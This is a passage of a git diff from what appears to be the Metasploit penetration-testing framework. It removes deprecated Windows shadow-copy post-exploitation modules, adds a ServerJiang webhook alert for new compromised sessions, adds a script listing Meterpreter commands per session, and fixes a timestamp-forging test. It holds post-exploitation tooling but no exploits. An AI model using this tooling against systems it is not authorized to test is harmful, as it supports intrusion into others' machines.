['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['theLightCosine'], - 'References' => [ - [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ] - ] - )) - register_options( - [ - OptInt.new('SIZE', [ true, 'Size in bytes to set for Max Storage']) - ]) - - end - - - def run - unless is_admin? - print_error("This module requires admin privs to run") - return - end - if is_uac_enabled? - print_error("This module requires UAC to be bypassed first") - return - end - unless start_vss - return - end - if vss_set_storage(datastore['SIZE']) - print_good("Size updated successfully") - else - print_error("There was a problem updating the storage size") - end - end - - - -end diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb deleted file mode 100644 index a01b1f096b..0000000000 --- a/modules/post/windows/manage/vss_storage.rb +++ /dev/null @@ -1,70 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Windows::ShadowCopy - - include Msf::Module::Deprecated - deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_GET_INFO action") - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage Get Shadow Copy Storage Info", - 'Description' => %q{ - This module will attempt to get volume shadow copy storage info. - This is based on the VSSOwn Script originally posted by - Tim Tomes and Mark Baggett. - - Works on win2k3 and later. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['theLightCosine'], - 'References' => [ - [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ] - ] - )) - - end - - - def run - unless is_admin? - print_error("This module requires admin privs to run") - return - end - if is_uac_enabled? - print_error("This module requires UAC to be bypassed first") - return - end - unless start_vss - return - end - - storage_data = vss_get_storage - if storage_data - tbl = Rex::Text::Table.new( - 'Header' => 'Shadow Copy Storage Data', - 'Indent' => 1, - 'Columns' => ['Field', 'Value'] - ) - storage_data.each_pair{|k,v| tbl << [k,v]} - print_good(tbl.to_s) - store_loot( - 'host.shadowstorage', - 'text/plain', - session, - tbl.to_s, - 'shadowstorage.txt', - 'Shadow Copy Storage Info' - ) - end - end - - - -end diff --git a/plugins/session_notifier.rb b/plugins/session_notifier.rb index 79f3eee11e..0f2ff10795 100644 --- a/plugins/session_notifier.rb +++ b/plugins/session_notifier.rb @@ -25,6 +25,7 @@ module Msf attr_reader :dingtalk_webhook attr_reader :gotify_address attr_reader :gotify_sslcert_path + attr_reader :serverjang_webhook def name 'SessionNotifier' @@ -44,6 +45,7 @@ module Msf 'set_session_dingtalk_webhook' => 'Set the DingTalk webhook for the session notifier (keyword: session).', 'set_session_gotify_address' => 'Set the Gotify address for the session notifier', 'set_session_gotify_sslcert_path' => 'Set the path to load your Gotify SSL cert (if you want to use HTTPS)', + 'set_session_serverjang_webhook' => 'Set the ServerJiang webhook for the session notifier (keyword: session).', 'save_session_notifier_settings' => 'Save all the session notifier settings to framework', 'start_session_notifier' => 'Start notifying sessions', 'stop_session_notifier' => 'Stop notifying sessions', @@ -150,6 +152,17 @@ module Msf end end + def cmd_set_session_serverjang_webhook(*args) + webhook_url = args[0] + if webhook_url.blank? + @serverjang_webhook = nil + elsif !(webhook_url =~ URI::DEFAULT_PARSER.make_regexp).nil? + @serverjang_webhook = webhook_url + else + print_error('Invalid webhook_url') + end + end + def cmd_save_session_notifier_settings(*_args) save_settings_to_config print_status('Session Notifier settings saved in config file.') @@ -181,6 +194,9 @@ module Msf if !gotify_address.nil? print_status('Gotify notification started.') end + if !serverjang_webhook.nil? + print_status('ServerJang notification started.') + end rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e print_error(e.message) end @@ -220,6 +236,7 @@ module Msf ini[name]['dingtalk_webhook'] = dingtalk_webhook.to_s unless dingtalk_webhook.blank? ini[name]['gotify_address'] = gotify_address.to_s unless gotify_address.blank? ini[name]['gotify_sslcert_path'] = gotify_sslcert_path.to_s unless gotify_sslcert_path.blank? + ini[name]['serverjang_webhook'] = serverjang_webhook.to_s unless serverjang_webhook.blank? ini.to_file(config_file) end @@ -240,6 +257,7 @@ module Msf @dingtalk_webhook = group['dingtalk_webhook'] if group['dingtalk_webhook'] @gotify_address = group['gotify_address'] if group['gotify_address'] @gotify_sslcert_path = group['gotify_sslcert_path'] if group['gotify_sslcert_path'] + @serverjang_webhook = group['serverjang_webhook'] if group['serverjang_webhook'] print_status('Session Notifier settings loaded from config file.') end end @@ -315,6 +333,29 @@ module Msf end end + def send_text_to_serverjang(session) + # https://sct.ftqq.com/sendkey + uri_parser = URI.parse(serverjang_webhook) + params = {} + params["title"] = "You have new #{session.type} session" + params["desp"] = "OS:#{session.platform}, tunnel:#{session.tunnel_to_s}, Arch:#{session.arch}" + http = Net::HTTP.new(uri_parser.host, uri_parser.port) + http.use_ssl = true + + res = Net::HTTP::post_form(uri_parser,params) + if res.nil? || res.body.blank? + print_error("No response received from the ServerJang server!") + return nil + end + + begin + body = JSON.parse(res.body) + print_status((body["code"] == 20001) ? 'Failed to send notification.' : 'Session notified to ServerJang.') + rescue JSON::ParserError + print_error("Couldn't parse the JSON returned from the ServerJang server!") + end + end + def notify_session(session, subject, msg) if in_range?(session) && validate_sms_settings? @sms_client.send_text_to_phones([sms_number], subject, msg) @@ -326,6 +367,9 @@ module Msf if in_range?(session) && !gotify_address.nil? send_text_to_gotify(session) end + if in_range?(session) && !serverjang_webhook.nil? + send_text_to_serverjang(session) + end end def in_range?(session) diff --git a/scripts/resource/meterpreter_compatibility.rc b/scripts/resource/meterpreter_compatibility.rc new file mode 100644 index 0000000000..40c2cefd70 --- /dev/null +++ b/scripts/resource/meterpreter_compatibility.rc @@ -0,0 +1,44 @@ +# Outputs the currently supported Meterpreter commands as JSON for the currently opened Meterpreter sessions +# Usage: +# msf> resource scripts/resource/meterpreter_compatibility.rc + +<ruby> +require 'json' + +# Attempt to load all known extensions +framework.sessions.values.map do |session| + next unless session.type == 'meterpreter' + + Rex::Post::Meterpreter::ExtensionMapper.get_extension_names.each do |extension_name| + session.core.use(extension_name) + rescue ::RuntimeError + puts "failed loading #{extension_name}" + # noop + end +end + +# Create an array of supported session information +session_data = framework.sessions.values.map do |session| + next unless session.type == 'meterpreter' + + supported_commands = session.commands.map do |command_id| + command_name = Rex::Post::Meterpreter::CommandMapper.get_command_name(command_id) + + { + id: command_id, + name: command_name + } + end + + { + session_type: session.session_type, + commands: supported_commands + } +end.compact + +result = { + sessions: session_data +} + +puts JSON.fast_generate(result) +</ruby> diff --git a/test/modules/post/test/search.rb b/test/modules/post/test/search.rb index 42ec1d9860..9a6064610c 100644 --- a/test/modules/post/test/search.rb +++ b/test/modules/post/test/search.rb @@ -154,11 +154,15 @@ class MetasploitModule < Msf::Post res end - genesis_date = "3 January 2009 18:15:13 +0000" - genesis = DateTime.parse(genesis_date).to_i + genesis_str = "3 January 2009 18:15:13 +0000" + genesis_date = DateTime.parse(genesis_str) + genesis = genesis_date.to_i - if not ['windows', 'win'].include? session.platform - cmd_exec("touch -d '#{genesis_date}' #{@file_name}") + if session.platform == 'osx' + osx_genesis_str = genesis_date.strftime("%Y%m%d%H%M.%S") + cmd_exec("touch -t '#{osx_genesis_str}' #{@file_name}") + elsif !['windows', 'win'].include?(session.platform) + cmd_exec("touch -d '#{genesis_str}' #{@file_name}") elsif session.priv.present? client.priv.fs.set_file_mace(@file_name, genesis) else